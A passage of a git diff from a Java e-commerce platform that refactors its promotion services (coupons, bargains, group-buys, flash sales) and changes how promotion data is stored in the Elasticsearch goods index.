cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsListVO; -import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsParams; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsVO; import cn.lili.modules.promotion.mapper.KanJiaActivityGoodsMapper; import cn.lili.modules.promotion.service.KanjiaActivityGoodsService; @@ -43,7 +43,6 @@ import java.util.List; * @since 2021/7/1 */ @Service -@Transactional(rollbackFor = Exception.class) public class KanjiaActivityGoodsServiceImpl extends AbstractPromotionsServiceImpl implements KanjiaActivityGoodsService { /** @@ -69,7 +68,7 @@ public class KanjiaActivityGoodsServiceImpl extends AbstractPromotionsServiceImp kanJiaActivityGoodsDTO.setStartTime(kanJiaActivityGoodsOperationDTO.getStartTime()); kanJiaActivityGoodsDTO.setEndTime(kanJiaActivityGoodsOperationDTO.getEndTime()); //检测同一时间段不能允许添加相同的商品 - if (this.checkSkuDuplicate(goodsSku.getId(), kanJiaActivityGoodsDTO) != null) { + if (this.checkSkuDuplicate(kanJiaActivityGoodsDTO) != null) { throw new ServiceException("商品id为" + goodsSku.getId() + "的商品已参加砍价商品活动!"); } kanJiaActivityGoodsDTO.setGoodsSku(goodsSku); @@ -172,13 +171,12 @@ public class KanjiaActivityGoodsServiceImpl extends AbstractPromotionsServiceImp /** * 检查砍价商品是否重复存在 * - * @param skuId 商品SkuId * @param kanJiaActivityGoodsDTO 砍价商品 * @return 积分商品信息 */ - private KanjiaActivityGoods checkSkuDuplicate(String skuId, KanjiaActivityGoodsDTO kanJiaActivityGoodsDTO) { + private KanjiaActivityGoods checkSkuDuplicate(KanjiaActivityGoodsDTO kanJiaActivityGoodsDTO) { QueryWrapper queryWrapper = new QueryWrapper<>(); - queryWrapper.eq("sku_id", skuId); + queryWrapper.eq("sku_id", kanJiaActivityGoodsDTO.getSkuId()); if (kanJiaActivityGoodsDTO != null && CharSequenceUtil.isNotEmpty(kanJiaActivityGoodsDTO.getId())) { queryWrapper.ne("id", kanJiaActivityGoodsDTO.getId()); } @@ -263,7 +261,7 @@ public class KanjiaActivityGoodsServiceImpl extends AbstractPromotionsServiceImp //检测开始结束时间是否正确 PromotionTools.checkPromotionTime(kanJiaActivityGoodsDTO.getStartTime(), kanJiaActivityGoodsDTO.getEndTime()); //检测同一时间段不能允许添加相同的商品 - if (this.checkSkuDuplicate(goodsSku.getId(), kanJiaActivityGoodsDTO) != null) { + if (this.checkSkuDuplicate(kanJiaActivityGoodsDTO) != null) { throw new ServiceException("商品id为" + goodsSku.getId() + "的商品已参加砍价商品活动!"); } this.promotionGoodsService.deletePromotionGoods(Collections.singletonList(kanJiaActivityGoodsDTO.getId())); diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityLogServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityLogServiceImpl.java index b0bfde1c..1b01cb30 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityLogServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityLogServiceImpl.java @@ -9,8 +9,8 @@ import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.KanjiaActivity; import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods; import cn.lili.modules.promotion.entity.dos.KanjiaActivityLog; -import cn.lili.modules.promotion.entity.dto.KanJiaActivityLogQuery; import cn.lili.modules.promotion.entity.dto.KanjiaActivityDTO; +import cn.lili.modules.promotion.entity.dto.search.KanJiaActivityLogQuery; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.mapper.KanJiaActivityLogMapper; import cn.lili.modules.promotion.service.KanjiaActivityGoodsService; @@ -33,7 +33,6 @@ import org.springframework.transaction.annotation.Transactional; * @date 2021/7/1 */ @Service -@Transactional(rollbackFor = Exception.class) public class KanjiaActivityLogServiceImpl extends ServiceImpl implements KanjiaActivityLogService { @Autowired diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityServiceImpl.java index 704b4387..24d0382b 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityServiceImpl.java @@ -18,10 +18,10 @@ import cn.lili.modules.promotion.entity.dos.KanjiaActivity; import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods; import cn.lili.modules.promotion.entity.dos.KanjiaActivityLog; import cn.lili.modules.promotion.entity.dto.KanjiaActivityDTO; -import cn.lili.modules.promotion.entity.dto.KanjiaActivityQuery; +import cn.lili.modules.promotion.entity.dto.search.KanjiaActivityQuery; +import cn.lili.modules.promotion.entity.dto.search.KanjiaActivitySearchParams; import cn.lili.modules.promotion.entity.enums.KanJiaStatusEnum; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; -import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivitySearchParams; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityVO; import cn.lili.modules.promotion.mapper.KanJiaActivityMapper; import cn.lili.modules.promotion.service.KanjiaActivityGoodsService; @@ -30,11 +30,11 @@ import cn.lili.modules.promotion.service.KanjiaActivityService; import cn.lili.mybatis.util.PageUtil; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; -import org.springframework.transaction.annotation.Transactional; import java.math.BigDecimal; import java.math.RoundingMode; @@ -48,7 +48,6 @@ import java.util.Objects; * @since 2021/7/1 */ @Service -@Transactional(rollbackFor = Exception.class) public class KanjiaActivityServiceImpl extends ServiceImpl implements KanjiaActivityService { @Autowired @@ -221,4 +220,16 @@ public class KanjiaActivityServiceImpl extends ServiceImpl() + .eq(KanjiaActivity::getId, kanjiaId) + .set(KanjiaActivity::getStatus, KanJiaStatusEnum.END.name())); + } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/MemberCouponServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/MemberCouponServiceImpl.java index 0b305710..2514e68f 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/MemberCouponServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/MemberCouponServiceImpl.java @@ -1,5 +1,6 @@ package cn.lili.modules.promotion.serviceimpl; +import cn.lili.cache.Cache; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; import cn.lili.common.security.AuthUser; @@ -7,11 +8,11 @@ import cn.lili.common.security.context.UserContext; import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.Coupon; import cn.lili.modules.promotion.entity.dos.MemberCoupon; +import cn.lili.modules.promotion.entity.dto.search.MemberCouponSearchParams; import cn.lili.modules.promotion.entity.enums.CouponGetEnum; import cn.lili.modules.promotion.entity.enums.MemberCouponStatusEnum; import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; -import cn.lili.modules.promotion.entity.vos.CouponSearchParams; import cn.lili.modules.promotion.mapper.MemberCouponMapper; import cn.lili.modules.promotion.service.CouponService; import cn.lili.modules.promotion.service.MemberCouponService; @@ -24,6 +25,9 @@ import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.core.toolkit.Wrappers; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.cache.annotation.CacheConfig; +import org.springframework.cache.annotation.CacheEvict; +import org.springframework.cache.annotation.Cacheable; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; @@ -36,7 +40,7 @@ import java.util.*; * @since 2020/8/21 */ @Service -@Transactional(rollbackFor = Exception.class) +@CacheConfig(cacheNames = "{MemberCoupon}") public class MemberCouponServiceImpl extends ServiceImpl implements MemberCouponService { /** @@ -45,6 +49,12 @@ public class MemberCouponServiceImpl extends ServiceImpl getMemberCoupons(CouponSearchParams param, PageVO pageVo) { + public IPage getMemberCoupons(MemberCouponSearchParams param, PageVO pageVo) { QueryWrapper queryWrapper = param.queryWrapper(); return this.page(PageUtil.initPage(pageVo), queryWrapper); } + /** + * 获取会员优惠券列表 + * + * @param param 查询参数 + * @return 会员优惠券列表 + */ @Override - public List getMemberCoupons() { - AuthUser authUser = Objects.requireNonNull(UserContext.getCurrentUser()); - LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); - queryWrapper.eq(MemberCoupon::getMemberId, authUser.getId()); - queryWrapper.eq(MemberCoupon::getMemberCouponStatus, MemberCouponStatusEnum.NEW.name()); - queryWrapper.le(MemberCoupon::getStartTime, new Date()); - queryWrapper.ge(MemberCoupon::getEndTime, new Date()); - return this.list(queryWrapper); + public List getMemberCoupons(MemberCouponSearchParams param) { + return this.list(param.queryWrapper()); + } + + /** + * 获取当前用户的优惠券列表(优先读取缓存) + * + * @param memberId 会员id + * @return 会员优惠券列表 + */ + @Override + @Cacheable(key = "#memberId") + public List getMemberCoupons(String memberId) { + MemberCouponSearchParams searchParams = new MemberCouponSearchParams(); + searchParams.setMemberId(Objects.requireNonNull(UserContext.getCurrentUser()).getId()); + searchParams.setMemberCouponStatus(MemberCouponStatusEnum.NEW.name()); + searchParams.setPromotionStatus(PromotionsStatusEnum.START.name()); + return this.getMemberCoupons(searchParams); } /** @@ -116,7 +144,7 @@ public class MemberCouponServiceImpl extends ServiceImpl getMemberCouponsByCanUse(CouponSearchParams param, Double totalPrice, PageVO pageVo) { + public IPage getMemberCouponsByCanUse(MemberCouponSearchParams param, Double totalPrice, PageVO pageVo) { LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); List storeIds = new ArrayList<>(Arrays.asList(param.getStoreId().split(","))); storeIds.add(PromotionTools.PLATFORM_ID); @@ -167,6 +195,17 @@ public class MemberCouponServiceImpl extends ServiceImpl updateWrapper = new LambdaUpdateWrapper<>(); - updateWrapper.eq(MemberCoupon::getId, id).set(MemberCoupon::getMemberCouponStatus, status.name()); - this.update(updateWrapper); - } else { - throw new ServiceException(ResultCode.COUPON_MEMBER_STATUS_ERROR); - } - } - @Override - public void used(List ids) { + @CacheEvict(key = "#memberId") + public void used(String memberId, List ids) { if (ids != null && !ids.isEmpty()) { List memberCoupons = this.listByIds(ids); @@ -228,7 +246,8 @@ public class MemberCouponServiceImpl extends ServiceImpl updateWrapper = new LambdaUpdateWrapper<>(); updateWrapper.eq(MemberCoupon::getId, id); updateWrapper.set(MemberCoupon::getMemberCouponStatus, MemberCouponStatusEnum.CLOSED.name()); @@ -245,6 +264,7 @@ public class MemberCouponServiceImpl extends ServiceImpl memberCouponLambdaUpdateWrapper = new LambdaUpdateWrapper() .in(MemberCoupon::getCouponId, couponIds) .set(MemberCoupon::getMemberCouponStatus, MemberCouponStatusEnum.CLOSED.name()); + this.cache.vagueDel("{MemberCoupon}"); this.update(memberCouponLambdaUpdateWrapper); } diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java index deb9abcb..bb9a02d6 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java @@ -16,12 +16,12 @@ import cn.lili.modules.order.order.entity.enums.PayStatusEnum; import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.promotion.entity.dos.Pintuan; import cn.lili.modules.promotion.entity.dos.PromotionGoods; +import cn.lili.modules.promotion.entity.dto.search.PromotionGoodsSearchParams; import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.entity.vos.PintuanMemberVO; import cn.lili.modules.promotion.entity.vos.PintuanShareVO; import cn.lili.modules.promotion.entity.vos.PintuanVO; -import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; import cn.lili.modules.promotion.mapper.PintuanMapper; import cn.lili.modules.promotion.service.PintuanService; import cn.lili.modules.promotion.service.PromotionGoodsService; @@ -47,7 +47,6 @@ import java.util.List; * @since 2020/8/21 */ @Service -@Transactional(rollbackFor = Exception.class) public class PintuanServiceImpl extends AbstractPromotionsServiceImpl implements PintuanService { /** @@ -204,10 +203,11 @@ public class PintuanServiceImpl extends AbstractPromotionsServiceImpl implements PointsGoodsCategoryService { /** diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsServiceImpl.java index 421b71de..24ad9649 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsServiceImpl.java @@ -37,7 +37,6 @@ import java.util.*; * @since 2020/8/21 **/ @Service -@Transactional(rollbackFor = Exception.class) @Slf4j public class PointsGoodsServiceImpl extends AbstractPromotionsServiceImpl implements PointsGoodsService { @@ -114,8 +113,9 @@ public class PointsGoodsServiceImpl extends AbstractPromotionsServiceImpl implements PromotionGoodsService { private static final String SKU_ID_COLUMN = "sku_id"; diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionServiceImpl.java index 0bdc102a..77cf4d68 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionServiceImpl.java @@ -2,13 +2,12 @@ package cn.lili.modules.promotion.serviceimpl; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.modules.promotion.entity.dos.*; +import cn.lili.modules.promotion.entity.dto.search.FullDiscountSearchParams; +import cn.lili.modules.promotion.entity.dto.search.PintuanSearchParams; +import cn.lili.modules.promotion.entity.dto.search.SeckillSearchParams; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; -import cn.lili.modules.promotion.entity.vos.FullDiscountSearchParams; -import cn.lili.modules.promotion.entity.vos.PintuanSearchParams; -import cn.lili.modules.promotion.entity.vos.SeckillSearchParams; import cn.lili.modules.promotion.service.*; import cn.lili.modules.promotion.tools.PromotionTools; -import cn.lili.modules.search.entity.dos.EsGoodsIndex; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; @@ -27,7 +26,6 @@ import java.util.Map; */ @Slf4j @Service -@Transactional(rollbackFor = Exception.class) public class PromotionServiceImpl implements PromotionService { /** * 秒杀 @@ -108,14 +106,14 @@ public class PromotionServiceImpl implements PromotionService { /** * 根据商品索引获取当前商品索引的所有促销活动信息 * - * @param index 商品索引 + * @param storeId 店铺id + * @param goodsSkuId 商品skuId * @return 当前促销活动集合 */ - @Override - public Map getGoodsPromotionMap(EsGoodsIndex index) { - String storeIds = index.getStoreId() + "," + PromotionTools.PLATFORM_ID; + public Map getGoodsSkuPromotionMap(String storeId, String goodsSkuId) { + String storeIds = storeId + "," + PromotionTools.PLATFORM_ID; Map promotionMap = new HashMap<>(); - List promotionGoodsList = promotionGoodsService.findSkuValidPromotion(index.getId(), storeIds); + List promotionGoodsList = promotionGoodsService.findSkuValidPromotion(goodsSkuId, storeIds); for (PromotionGoods promotionGoods : promotionGoodsList) { String esPromotionKey = promotionGoods.getPromotionType() + "-" + promotionGoods.getPromotionId(); switch (PromotionTypeEnum.valueOf(promotionGoods.getPromotionType())) { @@ -126,14 +124,13 @@ public class PromotionServiceImpl implements PromotionService { case PINTUAN: Pintuan pintuan = pintuanService.getById(promotionGoods.getPromotionId()); promotionMap.put(esPromotionKey, pintuan); - index.setPromotionPrice(promotionGoods.getPrice()); break; case FULL_DISCOUNT: FullDiscount fullDiscount = fullDiscountService.getById(promotionGoods.getPromotionId()); promotionMap.put(esPromotionKey, fullDiscount); break; case SECKILL: - this.getGoodsCurrentSeckill(promotionGoods, promotionMap, index); + this.getGoodsCurrentSeckill(promotionGoods, promotionMap); break; case POINTS_GOODS: PointsGoods pointsGoods = pointsGoodsService.getById(promotionGoods.getPromotionId()); @@ -147,7 +144,7 @@ public class PromotionServiceImpl implements PromotionService { } - private void getGoodsCurrentSeckill(PromotionGoods promotionGoods, Map promotionMap, EsGoodsIndex index) { + private void getGoodsCurrentSeckill(PromotionGoods promotionGoods, Map promotionMap) { Seckill seckill = seckillService.getById(promotionGoods.getPromotionId()); SeckillSearchParams searchParams = new SeckillSearchParams(); searchParams.setSeckillId(promotionGoods.getPromotionId()); @@ -168,7 +165,6 @@ public class PromotionServiceImpl implements PromotionService { seckill.setStartTime(promotionGoods.getStartTime()); seckill.setEndTime(promotionGoods.getEndTime()); promotionMap.put(seckillKey, seckill); - index.setPromotionPrice(promotionGoods.getPrice()); } } diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/SeckillApplyServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/SeckillApplyServiceImpl.java index 2fe796ab..a421e9e6 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/SeckillApplyServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/SeckillApplyServiceImpl.java @@ -4,7 +4,6 @@ import cn.hutool.core.bean.BeanUtil; import cn.hutool.core.date.DatePattern; import cn.hutool.core.date.DateTime; import cn.hutool.core.date.DateUtil; -import cn.hutool.core.text.CharSequenceUtil; import cn.lili.cache.Cache; import cn.lili.cache.CachePrefix; import cn.lili.common.enums.PromotionTypeEnum; @@ -13,17 +12,20 @@ import cn.lili.common.exception.ServiceException; import cn.lili.common.vo.PageVO; import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.goods.service.GoodsSkuService; +import cn.lili.modules.promotion.entity.dos.BasePromotions; import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.modules.promotion.entity.dos.Seckill; import cn.lili.modules.promotion.entity.dos.SeckillApply; -import cn.lili.modules.promotion.entity.dto.BasePromotions; +import cn.lili.modules.promotion.entity.dto.search.PromotionGoodsSearchParams; +import cn.lili.modules.promotion.entity.dto.search.SeckillSearchParams; import cn.lili.modules.promotion.entity.enums.PromotionsApplyStatusEnum; -import cn.lili.modules.promotion.entity.vos.*; +import cn.lili.modules.promotion.entity.vos.SeckillApplyVO; +import cn.lili.modules.promotion.entity.vos.SeckillGoodsVO; +import cn.lili.modules.promotion.entity.vos.SeckillTimelineVO; import cn.lili.modules.promotion.mapper.SeckillApplyMapper; import cn.lili.modules.promotion.service.PromotionGoodsService; import cn.lili.modules.promotion.service.SeckillApplyService; import cn.lili.modules.promotion.service.SeckillService; -import cn.lili.modules.promotion.tools.PromotionCacheKeys; import cn.lili.modules.promotion.tools.PromotionTools; import cn.lili.mybatis.util.PageUtil; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; @@ -46,7 +48,6 @@ import java.util.stream.Collectors; * @since 2020/8/21 */ @Service -@Transactional(rollbackFor = Exception.class) @Slf4j public class SeckillApplyServiceImpl extends ServiceImpl implements SeckillApplyService { @@ -54,7 +55,7 @@ public class SeckillApplyServiceImpl extends ServiceImpl> cache; + private Cache cache; /** * 规格商品 */ @@ -74,28 +75,17 @@ public class SeckillApplyServiceImpl extends ServiceImpl getSeckillTimeline() { //秒杀活动缓存key - return getSeckillTimelineToCache(null); + return getSeckillTimelineInfo(); } @Override public List getSeckillGoods(Integer timeline) { List seckillGoodsVoS = new ArrayList<>(); - //秒杀活动缓存key - String seckillCacheKey = PromotionCacheKeys.getSeckillTimelineKey(DateUtil.format(DateUtil.beginOfDay(new DateTime()), "yyyyMMdd")); - List cacheSeckill = cache.get(seckillCacheKey); - if (cacheSeckill == null || cacheSeckill.isEmpty()) { - //如缓存中不存在,则单独获取 - List seckillTimelineToCache = getSeckillTimelineToCache(seckillCacheKey); - Optional first = seckillTimelineToCache.stream().filter(i -> i.getTimeLine().equals(timeline)).findFirst(); - if (first.isPresent()) { - seckillGoodsVoS = first.get().getSeckillGoodsList(); - } - } else { - //如缓存中存在,则取缓存中转为展示的信息 - Optional first = cacheSeckill.stream().filter(i -> i.getTimeLine().equals(timeline)).findFirst(); - if (first.isPresent()) { - seckillGoodsVoS = first.get().getSeckillGoodsList(); - } + //获取 + List seckillTimelineToCache = getSeckillTimelineInfo(); + Optional first = seckillTimelineToCache.stream().filter(i -> i.getTimeLine().equals(timeline)).findFirst(); + if (first.isPresent()) { + seckillGoodsVoS = first.get().getSeckillGoodsList(); } return seckillGoodsVoS; } @@ -154,6 +144,7 @@ public class SeckillApplyServiceImpl extends ServiceImpl seckillApplyList) { Seckill seckill = this.seckillService.getById(seckillId); if (seckill == null) { @@ -187,6 +178,7 @@ public class SeckillApplyServiceImpl extends ServiceImpl().eq(SeckillApply::getSeckillId, seckillId).in(SeckillApply::getSkuId, skuIds)); this.saveBatch(originList); //保存促销活动商品信息 @@ -197,12 +189,14 @@ public class SeckillApplyServiceImpl extends ServiceImpl getSeckillTimelineToCache(String seckillCacheKey) { + private List getSeckillTimelineInfo() { List timelineList = new ArrayList<>(); LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); //查询当天时间段内的秒杀活动活动 @@ -317,9 +311,6 @@ public class SeckillApplyServiceImpl extends ServiceImpl implements SeckillService { @@ -150,24 +148,30 @@ public class SeckillServiceImpl extends AbstractPromotionsServiceImpl map = new HashMap<>(); - // es促销key - map.put("esPromotionKey", promotionKey); - // 促销类型全路径名 - map.put("promotionsType", Seckill.class.getName()); - // 促销实体 - map.put("promotions", seckill); - //更新商品促销消息 - String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.UPDATE_GOODS_INDEX_PROMOTIONS.name(); - //发送mq消息 - rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(map), RocketmqSendCallbackBuilder.commonCallback()); } } + if (!seckillApplies.isEmpty()) { + this.updateEsGoodsIndex(seckill); + } } } + /** + * 删除商品索引限时抢购信息 + * + * @param seckill 限时抢购信息 + * @param skuIds 商品skuId列表 + */ + @Override + public void deleteEsGoodsSeckill(Seckill seckill, List skuIds) { + seckill.setScopeType(PromotionsScopeTypeEnum.PORTION_GOODS.name()); + seckill.setScopeId(ArrayUtil.join(skuIds.toArray(), ",")); + //删除商品促销消息 + String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.DELETE_GOODS_INDEX_PROMOTIONS.name(); + //发送mq消息 + rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(seckill), RocketmqSendCallbackBuilder.commonCallback()); + } + @Override public void setSeckillApplyTime(Seckill seckill, SeckillApply seckillApply) { //下一个时间,默认为当天结束时间 diff --git a/framework/src/main/java/cn/lili/modules/promotion/tools/PromotionTools.java b/framework/src/main/java/cn/lili/modules/promotion/tools/PromotionTools.java index b43a5839..125bde42 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/tools/PromotionTools.java +++ b/framework/src/main/java/cn/lili/modules/promotion/tools/PromotionTools.java @@ -3,18 +3,19 @@ package cn.lili.modules.promotion.tools; import cn.hutool.core.date.DateTime; import cn.hutool.core.date.DateUtil; import cn.hutool.core.text.CharSequenceUtil; +import cn.hutool.json.JSONObject; +import cn.hutool.json.JSONUtil; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; +import cn.lili.modules.promotion.entity.dos.BasePromotions; import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.dto.BasePromotions; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import java.util.Arrays; -import java.util.Date; -import java.util.List; +import java.util.*; import java.util.function.Consumer; +import java.util.stream.Collectors; /** @@ -157,4 +158,19 @@ public class PromotionTools { return nextHour; } + public static Map filterInvalidPromotionsMap(Map map) { + if (map == null) { + return new HashMap<>(); + } + //移除无效促销活动 + return map.entrySet().stream().filter(i -> { + JSONObject promotionsObj = JSONUtil.parseObj(i.getValue()); + BasePromotions basePromotions = promotionsObj.toBean(BasePromotions.class); + if (basePromotions.getStartTime() != null && basePromotions.getEndTime() != null) { + return basePromotions.getStartTime().getTime() <= System.currentTimeMillis() && basePromotions.getEndTime().getTime() >= System.currentTimeMillis(); + } + return true; + }).collect(Collectors.toMap(Map.Entry::getKey, Map.Entry::getValue)); + } + } diff --git a/framework/src/main/java/cn/lili/modules/search/entity/dos/EsGoodsIndex.java b/framework/src/main/java/cn/lili/modules/search/entity/dos/EsGoodsIndex.java index a8eb648f..cd5372de 100644 --- a/framework/src/main/java/cn/lili/modules/search/entity/dos/EsGoodsIndex.java +++ b/framework/src/main/java/cn/lili/modules/search/entity/dos/EsGoodsIndex.java @@ -1,9 +1,11 @@ package cn.lili.modules.search.entity.dos; +import cn.hutool.json.JSONUtil; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.elasticsearch.EsSuffix; import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.goods.entity.dto.GoodsParamsDTO; +import cn.lili.modules.promotion.tools.PromotionTools; import com.fasterxml.jackson.annotation.JsonFormat; import io.swagger.annotations.ApiModelProperty; import lombok.Data; @@ -259,9 +261,6 @@ public class EsGoodsIndex implements Serializable { @ApiModelProperty(value = "商品类型", required = true) private String goodsType; - /** - * @see cn.lili.modules.goods.entity.enums.GoodsTypeEnum - */ @ApiModelProperty(value = "商品sku基础分数", required = true) private Integer skuSource; @@ -279,8 +278,8 @@ public class EsGoodsIndex implements Serializable { * value 为 促销活动实体信息 */ @Field(type = FieldType.Nested) - @ApiModelProperty("商品促销活动集合,key 为 促销活动类型,value 为 促销活动实体信息 ") - private Map promotionMap; + @ApiModelProperty("商品促销活动集合JSON,key 为 促销活动类型,value 为 促销活动实体信息 ") + private String promotionMapJson; public EsGoodsIndex(GoodsSku sku) { @@ -309,6 +308,7 @@ public class EsGoodsIndex implements Serializable { this.intro = sku.getIntro(); this.grade = sku.getGrade(); this.recommend = sku.getRecommend(); + this.goodsType = sku.getGoodsType(); this.releaseTime = new Date(); } } @@ -377,4 +377,8 @@ public class EsGoodsIndex implements Serializable { this.releaseTime = new Date(); } } + + public Map getPromotionMap() { + return PromotionTools.filterInvalidPromotionsMap(JSONUtil.parseObj(this.promotionMapJson)); + } } diff --git a/framework/src/main/java/cn/lili/modules/search/service/EsGoodsIndexService.java b/framework/src/main/java/cn/lili/modules/search/service/EsGoodsIndexService.java index 7c70fa0b..f40be6d4 100644 --- a/framework/src/main/java/cn/lili/modules/search/service/EsGoodsIndexService.java +++ b/framework/src/main/java/cn/lili/modules/search/service/EsGoodsIndexService.java @@ -3,9 +3,10 @@ package cn.lili.modules.search.service; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.goods.entity.dto.GoodsParamsDTO; +import cn.lili.modules.promotion.entity.dos.BasePromotions; import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.dto.BasePromotions; import cn.lili.modules.search.entity.dos.EsGoodsIndex; +import org.elasticsearch.action.update.UpdateRequest; import java.util.List; import java.util.Map; @@ -25,9 +26,11 @@ public interface EsGoodsIndexService { /** * 获取es生成索引进度 + * * @return */ Map getProgress(); + /** * 添加商品索引 * @@ -99,14 +102,13 @@ public interface EsGoodsIndexService { * @param id id(skuId) * @param promotion 促销信息 * @param key 促销信息的key - * @param price 促销价格 */ - void updateEsGoodsIndexPromotions(String id, BasePromotions promotion, String key, Double price); + UpdateRequest updateEsGoodsIndexPromotions(String id, BasePromotions promotion, String key); /** * 更新商品索引的促销信息 * - * @param ids id(skuId) + * @param ids id(skuId) * @param promotion 促销信息 * @param key 促销信息的key */ @@ -140,7 +142,7 @@ public interface EsGoodsIndexService { /** * 删除索引中指定的促销活动id的促销活动 * - * @param skuIds 商品skuId + * @param skuIds 商品skuId * @param promotionId 促销活动Id */ void deleteEsGoodsPromotionByPromotionId(List skuIds, String promotionId); @@ -176,11 +178,11 @@ public interface EsGoodsIndexService { List getPromotionIdByPromotionType(String id, PromotionTypeEnum promotionTypeEnum); /** - * 获取临时拼装的商品索引 + * 获取重置的商品索引 * * @param goodsSku 商品sku信息 * @param goodsParamDTOS 商品参数 * @return 商品索引 */ - EsGoodsIndex getTempEsGoodsIndex(GoodsSku goodsSku, List goodsParamDTOS); + EsGoodsIndex getResetEsGoodsIndex(GoodsSku goodsSku, List goodsParamDTOS); } diff --git a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java index 782b92a1..70f497f8 100644 --- a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java @@ -13,6 +13,7 @@ import cn.lili.cache.CachePrefix; import cn.lili.common.enums.PromotionTypeEnum; import 